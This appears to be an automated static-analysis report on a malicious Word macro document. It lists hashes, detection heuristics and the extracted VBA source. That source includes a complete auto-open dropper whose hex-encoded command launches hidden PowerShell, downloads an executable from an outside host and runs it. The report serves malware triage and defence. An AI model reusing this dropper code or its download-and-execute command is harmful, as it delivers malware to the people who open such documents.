Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f297c40aa0246644…

MALICIOUS

Office (OOXML)

56.7 KB Created: 2021-01-31 23:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-04-10
MD5: bfffca75faf303c37abe5cecc43b1d45 SHA-1: de0bf2f7f5272a5c74b8edb932b2c8d09314e4d8 SHA-256: f297c40aa0246644051b55d7bf5a5ea5109de8f55f05b870c1224a0ba47b9bda
192 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823774-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7365762E6D696C656E62617A696E736B692E6D653A323039352F61622F6164382E657865272C24656E763A54656D702B275C696F732E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C696F732E65 …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3073 bytes
SHA-256: 88c25735bc30d647331bf345a3f46256cc4c6ce3b11b67329a49e616f017742b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub reb()

Local $isihf = [BitNot(BitAnd(86057,8203)) ,BitRotate(BitXOR(7934,7762)) ,"ayacujevrfubdrrnawsngfplk" ,"ubxtzieynlpbbdztwoxizfpvp" ,"vktvxpovibyyglfscvonqdhqt" ,"vjcvqaaflxwdljhpgvukgtbxe" ,BitOr(Int(BitOr(8047,6358)),7905) ,"pangyztyuaawryutgcuecipmm" ,BitXOR(BitXOR(BitRotate(72272),2231),1945) ,"wqjsiwobgnprkvjzjeyphrvbh" ,"ncbwzpeofhdmniahtupeammrm" ,"soivorbzezkiwnemyfvdoqzdy" ,"aclchnnsbxtgtvnnbqwmsavcj" ,Int(BitRotate(Int(22755))) ,"uxjrwghyeixvfhajjfebhgqbq" ,BitOr(BitAnd(BitNot(15202),1703),7595) ,"hwvufhjfoqbxcitwgsxfcemwk" ,BitNot(BitOr(BitRotate(99851),6522)) ,BitOr(Int(84667),9921) ,BitNot(Int(Sqrt(37860))) ]
Local $bwcmzfadh = [BitRotate(BitRotate(13284)) ,BitRotate(BitAnd(Sqrt(84850),2628)) ,"wpgqdtihdabbrpfwtlwlaaiot" ,BitRotate(Int(BitOr(23508,5932))) ,"nvtaaebeekaspeliatrolsnmr" ,BitOr(BitRotate(BitOr(49507,3915)),4187) ,"mrlrhpdjgcclzyjndwoawscut" ,Sqrt(BitXOR(44958,81)) ,"pyjjwepvxluegemlxazjuuixy" ,Sqrt(BitRotate(BitOr(84968,8218))) ,"vuprkvjyloifipnknfsfxahzg" ,"upzaxayauskqfkbdxvsowddds" ,"wjmipybjjvlvxlrghfcewgyty" ,BitNot(BitXOR(40782,1391)) ,BitOr(Sqrt(99908),3464) ]
Local $a = [Sqrt(BitNot(13114)) ,BitRotate(BitOr(20946,4438)) ,BitOr(BitNot(29287),5977) ,Int(Int(58374)) ,"ybskzuhcteupdykkjmtlaqdgi" ,"qhyevbpzkuhkohqnadkxkhnql" ,"ncpjjrhpuxnntltlpfmegppdw" ,Int(BitRotate(BitOr(97644,5656))) ,"plfdufjxbgeiuuaehmevqplny" ,BitNot(BitRotate(21071)) ,BitOr(Sqrt(BitXOR(38617,979)),6826) ,"ncbuigyjukxbtvjzmdkpgagfv" ,"lvdllavgswhvzxdhovtmqztys" ,BitNot(BitXOR(19403,1551)) ,"qkscdsomgceodbcxelwesdfgr" ]
Local $fcxwczc = [BitRotate(Int(BitXOR(78518,8615))) ,BitNot(Sqrt(91011)) ,"ygqluswhgrkxmmtcdecittbjz" ,Int(BitNot(7353)) ,"ujafebwruxcjbfolcrmfyxfbl" ,Sqrt(BitAnd(32368,4436)) ,"equcendrdmusnojoflemeyuhz" ,BitOr(BitOr(BitNot(14257),5771),2418) ,"uvabvzatbcfrtfdoqoiazecdt" ,BitAnd(BitAnd(BitRotate(24747),3495),408) ,"ajmlvjkuswyabaofbmowqoxhe" ,"fxhvkhhdovgcvwqtbqcumyrfe" ,"xhebnpnrseliwrtipgcloxnif" ,"mqgymzmiwoqgmkcohiujmflzt" ]


End Sub



Sub baw()
Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7365762E6D696C656E62617A696E736B692E6D653A323039352F61622F6164382E657865272C24656E763A54656D702B275C696F732E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C696F732E6578652729"))
End Sub

Function ChrEncode(str)
    Dim i
    Dim sStr
    sStr = ""
    For i = 1 To Len(str) Step 2
        sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)))
    Next
    ChrEncode = sStr
End Function

Sub autoopen()
baw
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: dfcc2f36bc3eedaf3fff68d14f85c2e823ddc1e89d44aad57310976b629c073d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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